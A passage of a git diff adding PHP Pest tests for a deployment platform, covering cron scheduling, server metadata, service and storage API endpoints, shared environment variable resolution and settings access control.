expect($result2)->toBeTrue(); +}); + +it('daily cron fires after cache seed even when delayed past the minute', function () { + // Step 1: 15:00 — not due for midnight cron, but seeds cache + Carbon::setTestNow(Carbon::create(2026, 2, 28, 15, 0, 0, 'UTC')); + + $result1 = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:seed-test'); + expect($result1)->toBeFalse(); + + // Step 2: Next day at 00:05 — delayed 5 minutes past midnight + // Catch-up: previousDue = Mar 1 00:00, lastDispatched = Feb 28 00:00 → fires + Carbon::setTestNow(Carbon::create(2026, 3, 1, 0, 5, 0, 'UTC')); + + $result2 = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:seed-test'); + expect($result2)->toBeTrue(); +}); + +it('does not double-dispatch within same cron window', function () { + Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 0, 0, 'UTC')); + + $first = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:10'); + expect($first)->toBeTrue(); + + // Next minute — should NOT dispatch again + Carbon::setTestNow(Carbon::create(2026, 2, 28, 0, 1, 0, 'UTC')); + + $second = shouldRunCronNow('0 0 * * *', 'UTC', 'sentinel-restart:10'); + expect($second)->toBeFalse(); +}); diff --git a/tests/Feature/ServerMetadataTest.php b/tests/Feature/ServerMetadataTest.php new file mode 100644 index 000000000..204ae456d --- /dev/null +++ b/tests/Feature/ServerMetadataTest.php @@ -0,0 +1,119 @@ +create(); + $this->team = Team::factory()->create(); + $user->teams()->attach($this->team); + $this->actingAs($user); + session(['currentTeam' => $this->team]); + + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + ]); +}); + +it('casts server_metadata as array', function () { + $metadata = [ + 'os' => 'Ubuntu 22.04.3 LTS', + 'arch' => 'x86_64', + 'kernel' => '5.15.0-91-generic', + 'cpus' => 4, + 'memory_bytes' => 8589934592, + 'uptime_since' => '2024-01-15 10:30:00', + 'collected_at' => now()->toIso8601String(), + ]; + + $this->server->update(['server_metadata' => $metadata]); + $this->server->refresh(); + + expect($this->server->server_metadata)->toBeArray() + ->and($this->server->server_metadata['os'])->toBe('Ubuntu 22.04.3 LTS') + ->and($this->server->server_metadata['cpus'])->toBe(4) + ->and($this->server->server_metadata['memory_bytes'])->toBe(8589934592); +}); + +it('stores null server_metadata by default', function () { + expect($this->server->server_metadata)->toBeNull(); +}); + +it('includes server_metadata in fillable', function () { + $this->server->fill(['server_metadata' => ['os' => 'Test']]); + + expect($this->server->server_metadata)->toBe(['os' => 'Test']); +}); + +it('persists and retrieves full server metadata structure', function () { + $metadata = [ + 'os' => 'Debian GNU/Linux 12 (bookworm)', + 'arch' => 'aarch64', + 'kernel' => '6.1.0-17-arm64', + 'cpus' => 8, + 'memory_bytes' => 17179869184, + 'uptime_since' => '2024-03-01 08:00:00', + 'collected_at' => '2024-03-10T12:00:00+00:00', + ]; + + $this->server->update(['server_metadata' => $metadata]); + $this->server->refresh(); + + expect($this->server->server_metadata) + ->toHaveKeys(['os', 'arch', 'kernel', 'cpus', 'memory_bytes', 'uptime_since', 'collected_at']) + ->and($this->server->server_metadata['os'])->toBe('Debian GNU/Linux 12 (bookworm)') + ->and($this->server->server_metadata['arch'])->toBe('aarch64') + ->and($this->server->server_metadata['cpus'])->toBe(8) + ->and(round($this->server->server_metadata['memory_bytes'] / 1073741824, 1))->toBe(16.0); +}); + +it('returns null from gatherServerMetadata when server is not functional', function () { + $this->server->settings->update([ + 'is_reachable' => false, + 'is_usable' => false, + ]); + + $this->server->refresh(); + + expect($this->server->gatherServerMetadata())->toBeNull(); +}); + +it('can overwrite server_metadata with new values', function () { + $this->server->update(['server_metadata' => ['os' => 'Ubuntu 20.04', 'cpus' => 2]]); + $this->server->refresh(); + + expect($this->server->server_metadata['os'])->toBe('Ubuntu 20.04'); + + $this->server->update(['server_metadata' => ['os' => 'Ubuntu 22.04', 'cpus' => 4]]); + $this->server->refresh(); + + expect($this->server->server_metadata['os'])->toBe('Ubuntu 22.04') + ->and($this->server->server_metadata['cpus'])->toBe(4); +}); + +it('calls gatherServerMetadata during ValidateAndInstall when docker version is valid', function () { + $serverMock = Mockery::mock($this->server)->makePartial(); + $serverMock->shouldReceive('isSwarm')->andReturn(false); + $serverMock->shouldReceive('validateDockerEngineVersion')->once()->andReturn('24.0.0'); + $serverMock->shouldReceive('gatherServerMetadata')->once(); + $serverMock->shouldReceive('isBuildServer')->andReturn(false); + + Livewire::test(ValidateAndInstall::class, ['server' => $serverMock]) + ->call('validateDockerVersion'); +}); + +it('does not call gatherServerMetadata when docker version validation fails', function () { + $serverMock = Mockery::mock($this->server)->makePartial(); + $serverMock->shouldReceive('isSwarm')->andReturn(false); + $serverMock->shouldReceive('validateDockerEngineVersion')->once()->andReturn(false); + $serverMock->shouldNotReceive('gatherServerMetadata'); + + Livewire::test(ValidateAndInstall::class, ['server' => $serverMock]) + ->call('validateDockerVersion'); +}); diff --git a/tests/Feature/ServiceContainerLabelEscapeApiTest.php b/tests/Feature/ServiceContainerLabelEscapeApiTest.php new file mode 100644 index 000000000..895d776f0 --- /dev/null +++ b/tests/Feature/ServiceContainerLabelEscapeApiTest.php @@ -0,0 +1,75 @@ + 0, 'is_api_enabled' => true]); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + session(['currentTeam' => $this->team]); + + $this->token = $this->user->createToken('test-token', ['*']); + $this->bearerToken = $this->token->plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = $this->project->environments()->first(); +}); + +function serviceContainerLabelAuthHeaders($bearerToken): array +{ + return [ + 'Authorization' => 'Bearer '.$bearerToken, + 'Content-Type' => 'application/json', + ]; +} + +describe('PATCH /api/v1/services/{uuid}', function () { + test('accepts is_container_label_escape_enabled field', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders(serviceContainerLabelAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/services/{$service->uuid}", [ + 'is_container_label_escape_enabled' => false, + ]); + + $response->assertStatus(200); + + $service->refresh(); + expect($service->is_container_label_escape_enabled)->toBeFalse(); + }); + + test('rejects invalid is_container_label_escape_enabled value', function () { + $service = Service::factory()->create([ + 'server_id' => $this->server->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'environment_id' => $this->environment->id, + ]); + + $response = $this->withHeaders(serviceContainerLabelAuthHeaders($this->bearerToken)) + ->patchJson("/api/v1/services/{$service->uuid}", [ + 'is_container_label_escape_enabled' => 'not-a-boolean', + ]); + + $response->assertStatus(422); + }); +}); diff --git a/tests/Feature/ServiceMagicVariableOverwriteTest.php b/tests/Feature/ServiceMagicVariableOverwriteTest.php new file mode 100644 index 000000000..c592b047e --- /dev/null +++ b/tests/Feature/ServiceMagicVariableOverwriteTest.php @@ -0,0 +1,171 @@ +create([ + 'name' => 'test-server', + 'ip' => '127.0.0.1', + ]); + + // Compose template where: + // - nginx directly declares SERVICE_FQDN_NGINX_8080 (Section 1) + // - backend references ${SERVICE_URL_NGINX} and ${SERVICE_FQDN_NGINX} (Section 2 - magic) + $template = <<<'YAML' +services: + nginx: + image: nginx:latest + environment: + - SERVICE_FQDN_NGINX_8080 + ports: + - "8080:80" + backend: + image: node:20-alpine + environment: + - PUBLIC_URL=${SERVICE_URL_NGINX} + - PUBLIC_FQDN=${SERVICE_FQDN_NGINX} +YAML; + + $service = Service::factory()->create([ + 'server_id' => $server->id, + 'name' => 'test-service', + 'docker_compose_raw' => $template, + ]); + + $serviceApp = ServiceApplication::factory()->create([ + 'service_id' => $service->id, + 'name' => 'nginx', + 'fqdn' => null, + ]); + + // Initial parse - generates auto FQDNs + $service->parse(); + + $baseUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX')->first(); + $baseFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX')->first(); + $portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX_8080')->first(); + $portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX_8080')->first(); + + // All four variables should exist after initial parse + expect($baseUrl)->not->toBeNull('SERVICE_URL_NGINX should exist'); + expect($baseFqdn)->not->toBeNull('SERVICE_FQDN_NGINX should exist'); + expect($portUrl)->not->toBeNull('SERVICE_URL_NGINX_8080 should exist'); + expect($portFqdn)->not->toBeNull('SERVICE_FQDN_NGINX_8080 should exist'); + + // Now simulate user changing domain via UI (EditDomain::submit flow) + $serviceApp->fqdn = 'https://my-nginx.example.com:8080'; + $serviceApp->save(); + + // updateCompose() runs first (sets correct values) + updateCompose($serviceApp); + + // Then parse() runs (should NOT overwrite the correct values) + $service->parse(); + + // Reload all variables + $baseUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX')->first(); + $baseFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX')->first(); + $portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX_8080')->first(); + $portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX_8080')->first(); + + // ALL variables should reflect the custom domain + expect($baseUrl->value)->toBe('https://my-nginx.example.com') + ->and($baseFqdn->value)->toBe('my-nginx.example.com') + ->and($portUrl->value)->toBe('https://my-nginx.example.com:8080') + ->and($portFqdn->value)->toBe('my-nginx.example.com:8080'); +})->skip('Requires database - run in Docker'); + +test('magic variable references do not overwrite direct template declarations on initial parse', function () { + $server = Server::factory()->create([ + 'name' => 'test-server', + 'ip' => '127.0.0.1', + ]); + + // Backend references the port-specific variable via magic syntax + $template = <<<'YAML' +services: + app: + image: nginx:latest + environment: + - SERVICE_FQDN_APP_3000 + ports: + - "3000:3000" + worker: + image: node:20-alpine + environment: + - API_URL=${SERVICE_URL_APP_3000} +YAML; + + $service = Service::factory()->create([ + 'server_id' => $server->id, + 'name' => 'test-service', + 'docker_compose_raw' => $template, + ]); + + ServiceApplication::factory()->create([ + 'service_id' => $service->id, + 'name' => 'app', + 'fqdn' => null, + ]); + + // Parse the service + $service->parse(); + + $portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_APP_3000')->first(); + $portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_APP_3000')->first(); + + // Port-specific vars should have port as a URL port suffix (:3000), + // NOT baked into the subdomain (app-3000-uuid.sslip.io) + expect($portUrl)->not->toBeNull(); + expect($portFqdn)->not->toBeNull(); + expect($portUrl->value)->toContain(':3000'); + // The domain should NOT have 3000 in the subdomain + $urlWithoutPort = str($portUrl->value)->before(':3000')->value(); + expect($urlWithoutPort)->not->toContain('3000'); +})->skip('Requires database - run in Docker'); + +test('parsers.php uses firstOrCreate for magic variable references', function () { + $parsersFile = file_get_contents(base_path('bootstrap/helpers/parsers.php')); + + // Find the magic variables section (Section 2) which processes ${SERVICE_*} references + // It should use firstOrCreate, not updateOrCreate, to avoid overwriting values + // set by direct template declarations (Section 1) or updateCompose() + + // Look for the specific pattern: the magic variables section creates FQDN and URL pairs + // after the "Also create the paired SERVICE_URL_*" and "Also create the paired SERVICE_FQDN_*" comments + + // Extract the magic variables section (between "$magicEnvironments->count()" and the end of the foreach) + $magicSectionStart = strpos($parsersFile, '$magicEnvironments->count() > 0'); + expect($magicSectionStart)->not->toBeFalse('Magic variables section should exist'); + + $magicSection = substr($parsersFile, $magicSectionStart, 5000); + + // Count updateOrCreate vs firstOrCreate in the magic section + $updateOrCreateCount = substr_count($magicSection, 'updateOrCreate'); + $firstOrCreateCount = substr_count($magicSection, 'firstOrCreate'); + + // Magic section should use firstOrCreate for SERVICE_URL/FQDN variables + expect($firstOrCreateCount)->toBeGreaterThanOrEqual(4, 'Magic variables section should use firstOrCreate for SERVICE_URL/FQDN pairs') + ->and($updateOrCreateCount)->toBe(0, 'Magic variables section should not use updateOrCreate for SERVICE_URL/FQDN variables'); +}); diff --git a/tests/Feature/SettingsUpdatesAuthorizationTest.php b/tests/Feature/SettingsUpdatesAuthorizationTest.php new file mode 100644 index 000000000..5a062101a --- /dev/null +++ b/tests/Feature/SettingsUpdatesAuthorizationTest.php @@ -0,0 +1,41 @@ +create(); + $user = User::factory()->create(); + $team->members()->attach($user->id, ['role' => 'member']); + + $this->actingAs($user); + session(['currentTeam' => ['id' => $team->id]]); + + Livewire::test(Updates::class) + ->assertRedirect(route('dashboard')); +}); + +test('instance admin can access settings updates page', function () { + $rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]); + Server::factory()->create(['id' => 0, 'team_id' => $rootTeam->id]); + InstanceSettings::create(['id' => 0]); + Once::flush(); + + $user = User::factory()->create(); + $rootTeam->members()->attach($user->id, ['role' => 'admin']); + + $this->actingAs($user); + session(['currentTeam' => ['id' => $rootTeam->id]]); + + Livewire::test(Updates::class) + ->assertOk() + ->assertNoRedirect(); +}); diff --git a/tests/Feature/SharedVariableComposeResolutionTest.php b/tests/Feature/SharedVariableComposeResolutionTest.php new file mode 100644 index 000000000..5ffb027f0 --- /dev/null +++ b/tests/Feature/SharedVariableComposeResolutionTest.php @@ -0,0 +1,128 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team); + + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create([ + 'project_id' => $this->project->id, + ]); + + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + ]); +}); + +test('resolveSharedEnvironmentVariables resolves environment-scoped variable', function () { + SharedEnvironmentVariable::create([ + 'key' => 'DRAGONFLY_URL', + 'value' => 'redis://dragonfly:6379', + 'type' => 'environment', + 'environment_id' => $this->environment->id, + 'team_id' => $this->team->id, + ]); + + $resolved = resolveSharedEnvironmentVariables('{{environment.DRAGONFLY_URL}}', $this->application); + expect($resolved)->toBe('redis://dragonfly:6379'); +}); + +test('resolveSharedEnvironmentVariables resolves project-scoped variable', function () { + SharedEnvironmentVariable::create([ + 'key' => 'DB_HOST', + 'value' => 'postgres.internal', + 'type' => 'project', + 'project_id' => $this->project->id, + 'team_id' => $this->team->id, + ]); + + $resolved = resolveSharedEnvironmentVariables('{{project.DB_HOST}}', $this->application); + expect($resolved)->toBe('postgres.internal'); +}); + +test('resolveSharedEnvironmentVariables resolves team-scoped variable', function () { + SharedEnvironmentVariable::create([ + 'key' => 'GLOBAL_API_KEY', + 'value' => 'sk-123456', + 'type' => 'team', + 'team_id' => $this->team->id, + ]); + + $resolved = resolveSharedEnvironmentVariables('{{team.GLOBAL_API_KEY}}', $this->application); + expect($resolved)->toBe('sk-123456'); +}); + +test('resolveSharedEnvironmentVariables returns original when no match found', function () { + $resolved = resolveSharedEnvironmentVariables('{{environment.NONEXISTENT}}', $this->application); + expect($resolved)->toBe('{{environment.NONEXISTENT}}'); +}); + +test('resolveSharedEnvironmentVariables handles null and empty values', function () { + expect(resolveSharedEnvironmentVariables(null, $this->application))->toBeNull(); + expect(resolveSharedEnvironmentVariables('', $this->application))->toBe(''); + expect(resolveSharedEnvironmentVariables('plain-value', $this->application))->toBe('plain-value'); +}); + +test('resolveSharedEnvironmentVariables resolves multiple variables in one string', function () { + SharedEnvironmentVariable::create([ + 'key' => 'HOST', + 'value' => 'myhost', + 'type' => 'environment', + 'environment_id' => $this->environment->id, + 'team_id' => $this->team->id, + ]); + SharedEnvironmentVariable::create([ + 'key' => 'PORT', + 'value' => '6379', + 'type' => 'environment', + 'environment_id' => $this->environment->id, + 'team_id' => $this->team->id, + ]); + + $resolved = resolveSharedEnvironmentVariables('redis://{{environment.HOST}}:{{environment.PORT}}', $this->application); + expect($resolved)->toBe('redis://myhost:6379'); +}); + +test('resolveSharedEnvironmentVariables handles spaces in pattern', function () { + SharedEnvironmentVariable::create([ + 'key' => 'MY_VAR', + 'value' => 'resolved-value', + 'type' => 'environment', + 'environment_id' => $this->environment->id, + 'team_id' => $this->team->id, + ]); + + $resolved = resolveSharedEnvironmentVariables('{{ environment.MY_VAR }}', $this->application); + expect($resolved)->toBe('resolved-value'); +}); + +test('EnvironmentVariable real_value still resolves shared variables after refactor', function () { + SharedEnvironmentVariable::create([ + 'key' => 'DRAGONFLY_URL', + 'value' => 'redis://dragonfly:6379', + 'type' => 'environment', + 'environment_id' => $this->environment->id, + 'team_id' => $this->team->id, + ]); + + $env = EnvironmentVariable::create([ + 'key' => 'REDIS_URL', + 'value' => '{{environment.DRAGONFLY_URL}}', + 'resourceable_id' => $this->application->id, + 'resourceable_type' => $this->application->getMorphClass(), + ]); + + expect($env->real_value)->toBe('redis://dragonfly:6379'); +}); diff --git a/tests/Feature/SharedVariableDevViewTest.php b/tests/Feature/SharedVariableDevViewTest.php new file mode 100644 index 000000000..779be26a9 --- /dev/null +++ b/tests/Feature/SharedVariableDevViewTest.php @@ -0,0 +1,79 @@ +user = User::factory()->create(); + $this->team = Team::factory()->create(); + $this->user->teams()->attach($this->team, ['role' => 'admin']); + + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create([ + 'project_id' => $this->project->id, + ]); + + $this->actingAs($this->user); + session(['currentTeam' => $this->team]); +}); + +test('environment shared variable dev view saves without openssl_encrypt error', function () { + Livewire::test(\App\Livewire\SharedVariables\Environment\Show::class) + ->set('variables', "MY_VAR=my_value\nANOTHER_VAR=another_value") + ->call('submit') + ->assertHasNoErrors(); + + $vars = $this->environment->environment_variables()->pluck('value', 'key')->toArray(); + expect($vars)->toHaveKey('MY_VAR') + ->and($vars['MY_VAR'])->toBe('my_value') + ->and($vars)->toHaveKey('ANOTHER_VAR') + ->and($vars['ANOTHER_VAR'])->toBe('another_value'); +}); + +test('project shared variable dev view saves without openssl_encrypt error', function () { + Livewire::test(\App\Livewire\SharedVariables\Project\Show::class) + ->set('variables', 'PROJ_VAR=proj_value') + ->call('submit') + ->assertHasNoErrors(); + + $vars = $this->project->environment_variables()->pluck('value', 'key')->toArray(); + expect($vars)->toHaveKey('PROJ_VAR') + ->and($vars['PROJ_VAR'])->toBe('proj_value'); +}); + +test('team shared variable dev view saves without openssl_encrypt error', function () { + Livewire::test(\App\Livewire\SharedVariables\Team\Index::class) + ->set('variables', 'TEAM_VAR=team_value') + ->call('submit') + ->assertHasNoErrors(); + + $vars = $this->team->environment_variables()->pluck('value', 'key')->toArray(); + expect($vars)->toHaveKey('TEAM_VAR') + ->and($vars['TEAM_VAR'])->toBe('team_value'); +}); + +test('environment shared variable dev view updates existing variable', function () { + SharedEnvironmentVariable::create([ + 'key' => 'EXISTING_VAR', + 'value' => 'old_value', + 'type' => 'environment', + 'environment_id' => $this->environment->id, + 'project_id' => $this->project->id, + 'team_id' => $this->team->id, + ]); + + Livewire::test(\App\Livewire\SharedVariables\Environment\Show::class) + ->set('variables', 'EXISTING_VAR=new_value') + ->call('submit') + ->assertHasNoErrors(); + + $var = $this->environment->environment_variables()->where('key', 'EXISTING_VAR')->first(); + expect($var->value)->toBe('new_value'); +}); diff --git a/tests/Feature/StartDatabaseProxyTest.php b/tests/Feature/StartDatabaseProxyTest.php index c62569866..b14cb414a 100644 --- a/tests/Feature/StartDatabaseProxyTest.php +++ b/tests/Feature/StartDatabaseProxyTest.php @@ -43,3 +43,15 @@ ->and($method->invoke($action, 'network timeout'))->toBeFalse() ->and($method->invoke($action, 'connection refused'))->toBeFalse(); }); + +test('buildProxyTimeoutConfig normalizes invalid values to default', function (?int $input, string $expected) { + $action = new StartDatabaseProxy; + $method = new ReflectionMethod($action, 'buildProxyTimeoutConfig'); + + expect($method->invoke($action, $input))->toBe($expected); +})->with([ + [null, 'proxy_timeout 3600s;'], + [0, 'proxy_timeout 3600s;'], + [-10, 'proxy_timeout 3600s;'], + [120, 'proxy_timeout 120s;'], +]); diff --git a/tests/Feature/StorageApiTest.php b/tests/Feature/StorageApiTest.php new file mode 100644 index 000000000..75357e41e --- /dev/null +++ b/tests/Feature/StorageApiTest.php @@ -0,0 +1,379 @@ + 0]); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + + $plainTextToken = Str::random(40); + $token = $this->user->tokens()->create([ + 'name' => 'test-token', + 'token' => hash('sha256', $plainTextToken), + 'abilities' => ['*'], + 'team_id' => $this->team->id, + ]); + $this->bearerToken = $token->getKey().'|'.$plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = StandaloneDocker::where('server_id', $this->server->id)->first(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +function createTestApplication($context): Application +{ + return Application::factory()->create([ + 'environment_id' => $context->environment->id, + ]); +} + +function createTestDatabase($context): StandalonePostgresql +{ + return StandalonePostgresql::create([ + 'name' => 'test-postgres', + 'image' => 'postgres:15-alpine', + 'postgres_user' => 'postgres', + 'postgres_password' => 'password', + 'postgres_db' => 'postgres', + 'environment_id' => $context->environment->id, + 'destination_id' => $context->destination->id, + 'destination_type' => $context->destination->getMorphClass(), + ]); +} + +// ────────────────────────────────────────────────────────────── +// Application Storage Endpoints +// ────────────────────────────────────────────────────────────── + +describe('GET /api/v1/applications/{uuid}/storages', function () { + test('lists storages for an application', function () { + $app = createTestApplication($this); + + LocalPersistentVolume::create([ + 'name' => $app->uuid.'-test-vol', + 'mount_path' => '/data', + 'resource_id' => $app->id, + 'resource_type' => $app->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->getJson("/api/v1/applications/{$app->uuid}/storages"); + + $response->assertStatus(200); + $response->assertJsonCount(1, 'persistent_storages'); + $response->assertJsonCount(0, 'file_storages'); + }); + + test('returns 404 for non-existent application', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->getJson('/api/v1/applications/non-existent-uuid/storages'); + + $response->assertStatus(404); + }); +}); + +describe('POST /api/v1/applications/{uuid}/storages', function () { + test('creates a persistent storage', function () { + $app = createTestApplication($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/applications/{$app->uuid}/storages", [ + 'type' => 'persistent', + 'name' => 'my-volume', + 'mount_path' => '/data', + ]); + + $response->assertStatus(201); + + $vol = LocalPersistentVolume::where('resource_id', $app->id) + ->where('resource_type', $app->getMorphClass()) + ->first(); + + expect($vol)->not->toBeNull(); + expect($vol->name)->toBe($app->uuid.'-my-volume'); + expect($vol->mount_path)->toBe('/data'); + expect($vol->uuid)->not->toBeNull(); + }); + + test('creates a file storage', function () { + $app = createTestApplication($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/applications/{$app->uuid}/storages", [ + 'type' => 'file', + 'mount_path' => '/app/config.json', + 'content' => '{"key": "value"}', + ]); + + $response->assertStatus(201); + + $vol = LocalFileVolume::where('resource_id', $app->id) + ->where('resource_type', get_class($app)) + ->first(); + + expect($vol)->not->toBeNull(); + expect($vol->mount_path)->toBe('/app/config.json'); + expect($vol->is_directory)->toBeFalse(); + }); + + test('rejects persistent storage without name', function () { + $app = createTestApplication($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/applications/{$app->uuid}/storages", [ + 'type' => 'persistent', + 'mount_path' => '/data', + ]); + + $response->assertStatus(422); + }); + + test('rejects invalid type-specific fields', function () { + $app = createTestApplication($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/applications/{$app->uuid}/storages", [ + 'type' => 'persistent', + 'name' => 'vol', + 'mount_path' => '/data', + 'content' => 'should not be here', + ]); + + $response->assertStatus(422); + }); +}); + +describe('PATCH /api/v1/applications/{uuid}/storages', function () { + test('updates a persistent storage by uuid', function () { + $app = createTestApplication($this); + + $vol = LocalPersistentVolume::create([ + 'name' => $app->uuid.'-test-vol', + 'mount_path' => '/data', + 'resource_id' => $app->id, + 'resource_type' => $app->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$app->uuid}/storages", [ + 'uuid' => $vol->uuid, + 'type' => 'persistent', + 'mount_path' => '/new-data', + ]); + + $response->assertStatus(200); + expect($vol->fresh()->mount_path)->toBe('/new-data'); + }); + + test('updates a persistent storage by id (backwards compat)', function () { + $app = createTestApplication($this); + + $vol = LocalPersistentVolume::create([ + 'name' => $app->uuid.'-test-vol', + 'mount_path' => '/data', + 'resource_id' => $app->id, + 'resource_type' => $app->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$app->uuid}/storages", [ + 'id' => $vol->id, + 'type' => 'persistent', + 'mount_path' => '/updated', + ]); + + $response->assertStatus(200); + expect($vol->fresh()->mount_path)->toBe('/updated'); + }); + + test('returns 422 when neither uuid nor id is provided', function () { + $app = createTestApplication($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/applications/{$app->uuid}/storages", [ + 'type' => 'persistent', + 'mount_path' => '/data', + ]); + + $response->assertStatus(422); + }); +}); + +describe('DELETE /api/v1/applications/{uuid}/storages/{storage_uuid}', function () { + test('deletes a persistent storage', function () { + $app = createTestApplication($this); + + $vol = LocalPersistentVolume::create([ + 'name' => $app->uuid.'-test-vol', + 'mount_path' => '/data', + 'resource_id' => $app->id, + 'resource_type' => $app->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->deleteJson("/api/v1/applications/{$app->uuid}/storages/{$vol->uuid}"); + + $response->assertStatus(200); + $response->assertJson(['message' => 'Storage deleted.']); + expect(LocalPersistentVolume::find($vol->id))->toBeNull(); + }); + + test('finds file storage without type param and calls deleteStorageOnServer', function () { + $app = createTestApplication($this); + + $vol = LocalFileVolume::create([ + 'fs_path' => '/tmp/test', + 'mount_path' => '/app/config.json', + 'content' => '{}', + 'is_directory' => false, + 'resource_id' => $app->id, + 'resource_type' => get_class($app), + ]); + + // Verify the storage is found via fileStorages (not persistentStorages) + $freshApp = Application::find($app->id); + expect($freshApp->persistentStorages->where('uuid', $vol->uuid)->first())->toBeNull(); + expect($freshApp->fileStorages->where('uuid', $vol->uuid)->first())->not->toBeNull(); + expect($vol)->toBeInstanceOf(LocalFileVolume::class); + }); + + test('returns 404 for non-existent storage', function () { + $app = createTestApplication($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->deleteJson("/api/v1/applications/{$app->uuid}/storages/non-existent"); + + $response->assertStatus(404); + }); +}); + +// ────────────────────────────────────────────────────────────── +// Database Storage Endpoints +// ────────────────────────────────────────────────────────────── + +describe('GET /api/v1/databases/{uuid}/storages', function () { + test('lists storages for a database', function () { + $db = createTestDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->getJson("/api/v1/databases/{$db->uuid}/storages"); + + $response->assertStatus(200); + $response->assertJsonStructure(['persistent_storages', 'file_storages']); + // Database auto-creates a default persistent volume + $response->assertJsonCount(1, 'persistent_storages'); + }); + + test('returns 404 for non-existent database', function () { + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->getJson('/api/v1/databases/non-existent-uuid/storages'); + + $response->assertStatus(404); + }); +}); + +describe('POST /api/v1/databases/{uuid}/storages', function () { + test('creates a persistent storage for a database', function () { + $db = createTestDatabase($this); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->postJson("/api/v1/databases/{$db->uuid}/storages", [ + 'type' => 'persistent', + 'name' => 'extra-data', + 'mount_path' => '/extra', + ]); + + $response->assertStatus(201); + + $vol = LocalPersistentVolume::where('name', $db->uuid.'-extra-data')->first(); + expect($vol)->not->toBeNull(); + expect($vol->mount_path)->toBe('/extra'); + }); +}); + +describe('PATCH /api/v1/databases/{uuid}/storages', function () { + test('updates a persistent storage by uuid', function () { + $db = createTestDatabase($this); + + $vol = LocalPersistentVolume::create([ + 'name' => $db->uuid.'-test-vol', + 'mount_path' => '/data', + 'resource_id' => $db->id, + 'resource_type' => $db->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + 'Content-Type' => 'application/json', + ])->patchJson("/api/v1/databases/{$db->uuid}/storages", [ + 'uuid' => $vol->uuid, + 'type' => 'persistent', + 'mount_path' => '/updated', + ]); + + $response->assertStatus(200); + expect($vol->fresh()->mount_path)->toBe('/updated'); + }); +}); + +describe('DELETE /api/v1/databases/{uuid}/storages/{storage_uuid}', function () { + test('deletes a persistent storage', function () { + $db = createTestDatabase($this); + + $vol = LocalPersistentVolume::create([ + 'name' => $db->uuid.'-test-vol', + 'mount_path' => '/extra', + 'resource_id' => $db->id, + 'resource_type' => $db->getMorphClass(), + ]); + + $response = $this->withHeaders([ + 'Authorization' => 'Bearer '.$this->bearerToken, + ])->deleteJson("/api/v1/databases/{$db->uuid}/storages/{$vol->uuid}"); + + $response->assertStatus(200); + expect(LocalPersistentVolume::find($vol->id))->toBeNull(); + }); +}); diff --git 